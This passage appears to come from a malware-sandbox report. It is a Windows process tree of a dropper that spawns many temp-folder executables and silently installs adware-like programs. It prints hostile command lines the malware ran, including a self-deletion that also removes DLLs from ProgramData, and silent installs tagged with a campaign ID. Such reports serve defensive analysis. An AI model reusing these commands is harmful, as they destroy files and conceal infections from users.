                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                        6⤵
                                                                                                                                                          PID:5132
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                          6⤵
                                                                                                                                                            PID:5208
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                            6⤵
                                                                                                                                                              PID:5300
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                              6⤵
                                                                                                                                                                PID:6344
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:4316
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:6736
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:3796
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:7008
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:2692
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:4612
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                            6⤵
                                                                                                                                                                              PID:6884
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:6368
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                6⤵
                                                                                                                                                                                  PID:5876
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                  6⤵
                                                                                                                                                                                    PID:7048
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                    6⤵
                                                                                                                                                                                      PID:6448
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                      6⤵
                                                                                                                                                                                        PID:7004
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                        6⤵
                                                                                                                                                                                          PID:6796
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                          6⤵
                                                                                                                                                                                            PID:5728
                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                            6⤵
                                                                                                                                                                                              PID:6748
                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                              6⤵
                                                                                                                                                                                                PID:5540
                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                6⤵
                                                                                                                                                                                                  PID:4556
                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                    PID:5308
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                      PID:4592
                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                        PID:6720
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                          PID:6792
                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                            PID:2324
                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:5740
                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:4520
                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:2236
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                    PID:1620
                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                      PID:6780
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                        PID:4708
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:872
                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                            PID:5640
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:6576
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                PID:6852
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                  PID:4656
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                    PID:6288
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                      PID:6308
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:5276
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:6972
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                            PID:2896
                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:5224
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                PID:5408
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                  PID:6056
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:5940
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                      PID:4988
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                        PID:5208
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                          PID:6344
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                            PID:4316
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                              PID:4692
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                PID:5356
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11e4e580f2e8141a3.exe
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                  PID:2692
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                              PID:1132
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                Tue112c483dd3245d.exe
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                PID:4312
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c taskkill /im Tue112c483dd3245d.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue112c483dd3245d.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                    PID:6412
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                      taskkill /im Tue112c483dd3245d.exe /f
                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                                                                                                                      PID:7060
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                      timeout /t 6
                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                      PID:4968
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Tue118f55232e4.exe
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                PID:2596
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Tue11141271fbe5877f.exe
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                PID:3672
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Tue11bc0507b56295.exe
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                PID:2088
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c Tue1109eec571ac.exe /mixone
                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                PID:3792
                                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                          PID:3880
                                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                            PID:3884
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11bc0507b56295.exe
                                                                                                                                                                                                                                                          Tue11bc0507b56295.exe
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                          PID:4188
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-KEGC5.tmp\Tue11b9d76a96506.tmp
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-KEGC5.tmp\Tue11b9d76a96506.tmp" /SL5="$50054,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zSCC96E104\Tue11b9d76a96506.exe"
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                          PID:4324
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\is-O9ITC.tmp\46807GHF____.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\is-O9ITC.tmp\46807GHF____.exe" /S /UID=burnerch2
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                            PID:4848
                                                                                                                                                                                                                                                            • C:\Program Files\Windows Media Player\DDSRKQKJXZ\ultramediaburner.exe
                                                                                                                                                                                                                                                              "C:\Program Files\Windows Media Player\DDSRKQKJXZ\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                PID:5704
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-UP8JM.tmp\ultramediaburner.tmp
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-UP8JM.tmp\ultramediaburner.tmp" /SL5="$202A2,281924,62464,C:\Program Files\Windows Media Player\DDSRKQKJXZ\ultramediaburner.exe" /VERYSILENT
                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                    PID:4936
                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:4164
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\fb-9dbc1-f58-bdc8f-681cbb4f687f2\Paexiculyshe.exe
                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\fb-9dbc1-f58-bdc8f-681cbb4f687f2\Paexiculyshe.exe"
                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                      PID:5736
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\cb-1e239-d45-c8697-ae0a4e2f69009\Huqaqomezhe.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\cb-1e239-d45-c8697-ae0a4e2f69009\Huqaqomezhe.exe"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:3172
                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\55uakjne.ety\GcleanerEU.exe /eufive & exit
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:4800
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\55uakjne.ety\GcleanerEU.exe
                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\55uakjne.ety\GcleanerEU.exe /eufive
                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                              PID:4524
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 652
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                PID:3136
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 668
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                PID:6576
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 768
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                PID:6496
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 816
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                PID:4824
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 876
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                PID:956
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 940
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                PID:4368
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4524 -s 1096
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                PID:5152
                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ecw3ih30.krd\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                              PID:5524
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\ecw3ih30.krd\installer.exe
                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\ecw3ih30.krd\installer.exe /qn CAMPAIGN="654"
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                  PID:6236
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\ecw3ih30.krd\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ecw3ih30.krd\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630777764 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                      PID:2896
                                                                                                                                                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gksvwlud.1im\anyname.exe & exit
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:5348
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\gksvwlud.1im\anyname.exe
                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\gksvwlud.1im\anyname.exe
                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                        PID:6692
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\gksvwlud.1im\anyname.exe
                                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\gksvwlud.1im\anyname.exe" -u
                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                            PID:5728
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                              7⤵
